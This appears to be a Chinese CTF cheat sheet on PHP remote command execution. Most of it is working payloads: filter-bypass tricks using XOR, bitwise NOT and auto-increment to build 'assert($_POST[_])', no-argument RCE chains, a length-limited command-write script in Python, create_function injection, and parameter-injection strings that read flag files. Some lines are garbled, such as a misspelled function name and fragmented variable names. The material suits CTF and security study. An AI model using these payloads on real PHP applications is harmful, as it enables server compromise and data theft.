文章目录
常见漏洞执行函数：
1.系统命令执行函数
system():将字符串作为OS命令执行，返回执行结果
exec():将字符串作为OS命令执行，只返回执行结果的最后一行
shell_exec():通过shell环境执行命令，将完整的输出以字符串返回
passthru():将字符串作为OS命令执行，只调用命令不返回结果，但把命令的运行结果原样输出到标准输出设备上
popen():打开进程文件指针
proc_open():与popen类似
pcntl_exec():在当前进程空间执行指定程序
反引号``:反引号内的字符会被解析成OS命令
2.代码执行函数
eval():将字符串作为PHP代码执行
assert():将字符串作为php代码执行
preg_replace():正则匹配替换字符串
create_function():创建匿名函数
file_put_contents():将数据写入文件 ，语法：file_put_contents(filename, data, mode, context)
命令拼接符
command1 ; command2 : 先执行command1后执行comnand2
command1 & command2 : 先执行comnand2后执行command1
command1 && command2 : 先执行command1后执行comnand2
command1 | command2 : 只执行command2
command1 || command2 : command1执行失败， 再执行command2(若command1执行成功，就不再执行command2)
读取文件命令
cat：连接文件并输出内容到标准输出
tac：从最后一行开始往前显示
more: 与cat类似，但是会一页一页显示（只能向后翻页）
less：与more类似，只能向前翻页
nl：显示内容的同时，显示行号
head：查看文件开头几行内容，默认为10行
tail：查看文件尾几行
od：以为指定进制的方式读取文件 例如: od -x ??? 以十六进制的方式查看文件
vi：文本编辑器
vim：文本编辑器
dd：dd if=输入文件 of=输出文件 或直接读取文件dd=1.txt
sort：对文件排序，输出排序内容
uniq：去除重复行，输出去重内容
rev：独立反转每一行内容，输出反转后内容
cut：输出剪切内容
sed：流编辑器，可以对文本内容进行搜索、替换、删除等操作
paste：把每个文件以列对列的方式合并（一个文件就相当于原来的）
grep：查找文件里符合条件的字符串
绕过：
空格过滤绕过
重定向字符< <> %20(即spcae) %09(即tab) $IFS$9 ${IFS} $IFS {}比如:{cat,/f*}
关键字绕过
1.利用反斜杠\绕过
cat /flag -> ca\t /fl\ag
2.利用变量拼接绕过
cat /flag -> $b=ag;cat /fl$b
3.利用函数绕过
eval(var_dump(scandir('/');); #读取根目录
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
4.利用单双反引号绕过
cat""t /flag
l's /
cat /e't'c/pas``s``wd
5.cat替换
tac 与cat相反，按行反向输出
more 按页显示，用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件，od -A d -c /flag转人可读字符
xxd 以二进制方式读文件，同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串，grep flag /flag
6.利用正则匹配(通配符)绕过
cat /f???
cat /f*
7.利用[]绕过
c[a]t=>cat
p[h]p=>php
8.利用linux中的环境变量绕过
echo $PATH
若有/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
即可表示:flag.php
# ${PATH:5:1}表示取路径第五位(从0开始数，第0位是/),取一个字母。以此类推拼接成flag.php
9.编码绕过
10.利用内联执行绕过
echo "a`pwd`" #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`
11.双写绕过
8.利用取反~绕过
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
输出结果：?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
9.利用异或^绕过
# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = input('输入异或构造的字符串:')
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(f'"{tmp1}"^"{tmp2}"')
10.利用自增绕过
原理：
“A”++ ==> “B”
“B”++ ==> “C”
<?php
$_++;
echo($_++); //输出结果1
$a=''.[];
var_dump($a); //输出结果array
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A"，$__没有定义，默认为False也即0，此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S"，此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E"，此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R"，此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T"，此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P"，此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O"，此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S"，此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T"，此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
//自增payload，assert($_POST[_]),命令传入_
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();
长度过滤绕过
>b类似于touch b ，即直接创建文件b,通过>将命令执行结果写入文件(覆盖文件原本内容)
echo 666 >a #创建文件a，将字符串666写入文件a中
>>用来追加内容
777 >>a #在文件a的末尾追加字符串777
ls -t：按时间顺序，由近及远排序(后创建的排在前面)
#>ag
#>fl\\
#>"t\\"
#>ca\\
#ls -t >x
创建文件x，将"ca"""t"""fl""ag"连接起来 前面的\把后面的\实体化成字符，用来拼接文件名输出到文件x中，然后把文件x当成脚本执行
import time
import requests
baseurl="url"
s = requests.session()
list=[
'>7777',
'>ca', #中间的内容自己补充
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
s.get(baseurl+"sh a")
以这题为例,可以利用自增，但限制长度，
payload:$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
即表示$_GET[1]($_GET[2])
记得url编码，然后get传参?hint=1&1=system&&2=cat /f*
无参数命令执行绕过
在无法传参的情况下，仅依靠传入没有参数的函数套娃以达到命令执行的效果
特征:
if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['star']))
{
eval($_GET['star']);
}
\W表示匹配非字符
[^\abc]表示非abc
R代表当前正则匹配后的结果
?惰性匹配，匹配0或1次
相关函数
scandir():返回当前目录的所有文件和目录的列表。结果是一个数组
localeconv():返回一包含本地数字及货币格式信息的数组(这里数组的第一项是. 这个点很有用)
current():返回数组中的单元，默认取第一个值。pos()和它一样
getcwd():获取当前工作目录
dirname():返回路径中的目录部分
chdir():改变当前目录
array_flip():交换数组中的键和值，成功时返回交换后的数组
array_rand():从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():反转给定字符串
eval()、assert():命令执行
highlight_file()、show_source()、readfile()、file_get_content():读取文件内容
getallheaders():返回当前请求的所有请求头消息，但局限于Apache
数组移动操作：
reset():指向第一个元素并输出
end():将内部指针指向数组中最后一个元素并输出
next():指向下一个元素并输出
prev():指向上一个元素并输出
each():返回当前元素的键名和键值，并将指针向前移动
例:scandir(‘.’)能返回当前目录，虽然无法传参，但可以利用localeconv()返回. 并且用current()取第一个值实现,即用current(localeconv())构造一个点.
?参数=var_dump(scandir(current(localeconv())));
1.利用scanidr()函数
例题:[GXYCTF2019]禁止套娃
<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦！");
}
}
else{
die("再好好想想！");
}
}
else{
die("还想读flag，臭弟弟！");
}
}
// highlight_file(__FILE__);
?>
第二个if语句，典型的无参RCE,第三个又限制了一些函数
payload:
?exp=highligth_file(next(array_reverse(scandir(current(localeconv())))));
先利用current将localeconv中的.取出来，然后用scandir返回当前目录中的文件和子目录，得到当前flag在flag.php
此时flag.php位置较靠后，用array_reverse将数组反转，然后用next选择第二个即flag.php，然后读取flag.php文件
2.利用session_id()函数
当请求头中有cookie时，或者有时没有cookie手动添加cookie也行。但要session_start开启
·可以对命令进行十六进制编码，然后用hex2bin()解码
payload:
?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后面的值为对应命令的十六进制编码
指定文件名为flag.php的情况下直接读取文件（Cookie是手动添加的）
3.利用getallheaders()函数
getallheaders()返回当前请求的所有请求头消息，但局限于Apache(apache_request_headers与getallheaders()功能和限制一样)
当能够确定返回时，在数据包最后一行加上一个请求头，写入恶意代码，再用end()函数指向最后一个请求头使其执行。
其中sky是自己添加的请求头，end()指向最后一行的sky代码
4.利用get_defined_vars()函数
get_defined_vars()可以回显全局变量且更有普遍性,返回数组顺序为
G
E
T
−
−
>
_GET-->
GET−−>_POST–>
C
O
O
K
I
E
−
−
>
_COOKIE-->
COOKIE−−>_FILES
首先确认是否有回显
print_r(get_defined_vars());
如果原本只有一个参数a，可以多加一个参数b，后面写入恶意语句
a=eval(end(current(get_defined_vars())));&b=system('ls /');
无字母数字绕过
标志
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
1.异或绕过
2.取反绕过
3.自增绕过
4.临时文件上传
Linux临时文件主要存储在/tmp/目录下，格式： /tmp/php[6个随机字符]
Windows临时文件主要存储在C://Windows/目录下，格式：C://Windows/php[4个随机字符].tmp
5.
G
E
T
/
GET/
GET/POST参数绕过
PHP需将所有参数转换成有效的变量名，因此在解析查询字符串时，会首先删除空白符，然后将某些字符转换成下划线
pyload1:?c=include%0a$_POST[a]?>
post:a=data://text/plain,<?php eval(system("tac flag.php"))?>
pyload2：c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
pyload3: c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
pyload4:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
6.LD_PRELOAD绕过
7.短标签绕过
PHP中有两种短标签 <??> 和 <?=?> 。其中<??>相当于<?php> <?=?>相当于<? echo>
例如： <?= '11'?> 输出
8.反引号``绕过
PHP中 反引号``可以起到命令执行的效果
<?php
$_=`whoami`;
echo $_; 能够将对应的结果输出
利用段标签可以写为：<?= `whoami` ?>
利用%0A截断
由于preg_match只能匹配第一行，可以使用%0A进行截断
利用回溯绕过
php正则匹配的回溯次数大于1000000次时会返回False
preg_match的匹配存在回溯，次数上限是1000000，超过上限后函数返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False
利用create_function()代码注入
create_function函数会在内部执行eval()
create_function($函数变量声明,$执行的方法代码)
看到 a ( a( a(b)想到create_fuction()代码注入。这里\为了绕过正则，}为了闭合前面 ， // 为了注释后面
payload:?a=\create_function&b=}system('tac /flag');//
无回显RCE
可以先利用sleep函数判断是否能执行
?参数=1；sleep(3)
1.反弹shell
2.dnslog外带数据法
3.msf反向回连
4.利用tee命令将执行结果输出到文件，再访问文件
//无回显RCE，如exce()函数，可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
使用重定向也可以
ls / > 1.txt
5.利用反引号和print
//eval()无输出
eval(print`c\at /flag`;)